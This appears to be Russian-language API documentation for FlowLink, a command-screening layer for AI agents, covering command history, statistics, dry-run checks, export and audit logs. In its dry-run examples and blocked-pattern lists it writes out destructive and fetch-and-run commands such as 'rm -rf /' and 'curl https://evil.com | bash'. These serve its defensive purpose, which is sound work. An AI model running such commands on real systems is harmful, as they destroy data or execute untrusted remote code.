История команд и Dry-Run

1{
2  "id": "cmd_abc123",
3  "agent_id": "agent-prod-01",
4  "command": "rm -rf /tmp/build-cache",
5  "shield_result": "allowed",
6  "risk_score": 35,
7  "risk_level": "medium",
8  "policy_id": "pol_default",
9  "policy_action": "allow",
10  "shield_layers": {
11    "L1_regex": { "passed": true, "matched_rules": [] },
12    "L2_heuristic": { "passed": true, "risk_indicators": ["recursive_delete"] },
13    "L3_ml": { "passed": true, "anomaly_score": 0.12 },
14    "L4_context": { "passed": true }
15  },
16  "execution_time_ms": 150,
17  "exit_code": 0,
18  "stdout": "Removed 42 items",
19  "stderr": "",
20  "correlation_id": "mcp:1705332000123:a1b2c3d4",
21  "session_id": "sess_abc123def456",
22  "executed_by": "claude-code",
23  "executed_at": "2026-01-15T14:30:00Z",
24  "metadata": {
25    "source_ip": "10.0.1.5",
26    "mcp_tool": "flowlink_exec"
27  }
28}

1# Все заблокированные команды за последние 24 часа
2curl -s "https://api.flowlink.io/v1/commands/history?shield_result=blocked&from=2026-01-15T00:00:00Z" \
3  -H "Authorization: Bearer $TOKEN" | jq
4
5# Команды конкретного агента с высоким risk
6curl -s "https://api.flowlink.io/v1/commands/history?agent_id=agent-prod-01&risk_level=high&limit=20" \
7  -H "Authorization: Bearer $TOKEN" | jq

1{
2  "commands": [
3    {
4      "id": "cmd_abc123",
5      "agent_id": "agent-prod-01",
6      "command": "rm -rf /tmp/build-cache",
7      "shield_result": "allowed",
8      "risk_score": 35,
9      "risk_level": "medium",
10      "exit_code": 0,
11      "execution_time_ms": 150,
12      "executed_by": "claude-code",
13      "executed_at": "2026-01-15T14:30:00Z"
14    }
15  ],
16  "total": 15420,
17  "limit": 50,
18  "offset": 0
19}

1curl -s "https://api.flowlink.io/v1/commands/history/cmd_abc123" \
2  -H "Authorization: Bearer $TOKEN" | jq

1{
2  "id": "cmd_abc123",
3  "agent_id": "agent-prod-01",
4  "command": "rm -rf /tmp/build-cache",
5  "shield_result": "allowed",
6  "risk_score": 35,
7  "risk_level": "medium",
8  "policy_id": "pol_default",
9  "shield_layers": {
10    "L1_regex": { "passed": true },
11    "L2_heuristic": { "passed": true },
12    "L3_ml": { "passed": true },
13    "L4_context": { "passed": true }
14  },
15  "execution_time_ms": 150,
16  "exit_code": 0,
17  "stdout": "Removed 42 items",
18  "stderr": "",
19  "correlation_id": "mcp:1705332000123:a1b2c3d4",
20  "session_id": "sess_abc123def456",
21  "executed_by": "claude-code",
22  "executed_at": "2026-01-15T14:30:00Z"
23}

1curl -s "https://api.flowlink.io/v1/commands/stats?from=2026-01-01T00:00:00Z" \
2  -H "Authorization: Bearer $TOKEN" | jq

1{
2  "period": { "from": "2026-01-01T00:00:00Z", "to": "2026-01-15T14:30:00Z" },
3  "total": 15420,
4  "allowed": 14200,
5  "blocked": 450,
6  "approved": 770,
7  "avg_execution_time_ms": 120,
8  "avg_risk_score": 18.5,
9  "top_commands": [
10    { "command": "ls -la", "count": 3200, "blocked_count": 0 },
11    { "command": "docker ps", "count": 2100, "blocked_count": 47 },
12    { "command": "git pull", "count": 1800, "blocked_count": 5 },
13    { "command": "npm install", "count": 1500, "blocked_count": 0 }
14  ],
15  "top_blocked_patterns": [
16    { "pattern": "rm -rf *", "count": 120 },
17    { "pattern": "curl *| bash", "count": 85 },
18    { "pattern": "chmod 777 *", "count": 42 }
19  ],
20  "by_agent": [
21    { "agent_id": "agent-prod-01", "total": 5200, "blocked": 180 },
22    { "agent_id": "agent-staging-01", "total": 3800, "blocked": 120 }
23  ]
24}

1curl -X POST "https://api.flowlink.io/v1/shield/dry-run" \
2  -H "Authorization: Bearer $TOKEN" \
3  -H "Content-Type: application/json" \
4  -d '{
5    "command": "rm -rf /",
6    "agent_id": "agent-prod-01"
7  }'

1{
2  "command": "rm -rf /",
3  "agent_id": "agent-prod-01",
4  "would_block": true,
5  "risk_score": 98,
6  "risk_level": "critical",
7  "reasons": [
8    "Destructive: recursive root delete",
9    "Policy: matches deny pattern rm -rf *"
10  ],
11  "policies_matched": ["pol_deny_destructive"],
12  "shield_layers": {
13    "L1_regex": { "passed": false, "matched": "rm -rf *" },
14    "L2_heuristic": { "passed": false, "indicators": ["root_delete", "no_confirmation"] },
15    "L3_ml": { "passed": false, "anomaly_score": 0.98 },
16    "L4_context": { "skipped": true }
17  },
18  "shield_layer": "L1"
19}

1# Экспорт в CSV
2curl -s "https://api.flowlink.io/v1/commands/history/export?format=csv&from=2026-01-01T00:00:00Z&shield_result=blocked" \
3  -H "Authorization: Bearer $TOKEN" \
4  -o blocked_commands.csv
5
6# Экспорт в JSON
7curl -s "https://api.flowlink.io/v1/commands/history/export?format=json&agent_id=agent-prod-01&from=2026-01-15T00:00:00Z" \
8  -H "Authorization: Bearer $TOKEN" \
9  -o agent_commands.json
10
11# Асинхронный экспорт (более 10 000 записей)
12curl -X POST "https://api.flowlink.io/v1/commands/history/export/async" \
13  -H "Authorization: Bearer $TOKEN" \
14  -H "Content-Type: application/json" \
15  -d '{
16    "format": "csv",
17    "from": "2026-01-01T00:00:00Z",
18    "to": "2026-01-31T23:59:59Z",
19    "filters": { "shield_result": "blocked" },
20    "notify_email": "admin@example.com"
21  }'

1{
2  "export_id": "exp_abc123",
3  "status": "processing",
4  "estimated_rows": 45000,
5  "format": "csv",
6  "download_url": null,
7  "completed_at": null,
8  "created_at": "2026-01-15T14:30:00Z"
9}

1# Настройки хранения
2retention:
3  # Raw команды (с stdout/stderr)
4  raw_commands: "90d"
5  
6  # Агрегированная статистика
7  aggregated_stats: "365d"
8  
9  # Compliance режим
10  compliance:
11    enabled: false
12    audit_trail: "3y"              # Полный audit trail — 3 года
13    include_stdout: true
14    include_stderr: true
15    tamper_proof: true              # Атрибут tamper-proof (append-only)

1# Список команд
2flowlink-relay history list --key $API_KEY
3flowlink-relay history list --agent agent-prod-01 --result blocked --limit 20
4flowlink-relay history list --from "2026-01-15" --to "2026-01-16" --risk-level high
5
6# Детали команды
7flowlink-relay history show cmd_abc123 --key $API_KEY
8
9# Dry-run проверка
10flowlink-relay history dry-run "rm -rf /" --key $API_KEY
11flowlink-relay history dry-run "curl https://evil.com | bash" --agent agent-prod-01
12
13# Экспорт
14flowlink-relay history export --format csv --from "2026-01-01" -o commands.csv

1{
2  "event_id": "evt_xyz789",
3  "event_type": "command_blocked",
4  "timestamp": "2026-01-15T14:30:00Z",
5  "actor": {
6    "type": "agent",
7    "id": "agent-prod-01",
8    "name": "prod-deploy-agent"
9  },
10  "action": {
11    "type": "command_execute",
12    "command": "rm -rf /etc/config",
13    "shield_result": "blocked",
14    "policy_id": "pol_deny_destructive"
15  },
16  "risk_score": 92,
17  "correlation_id": "mcp:1705332000123:a1b2c3d4",
18  "ip_address": "10.0.1.5",
19  "immutable": true
20}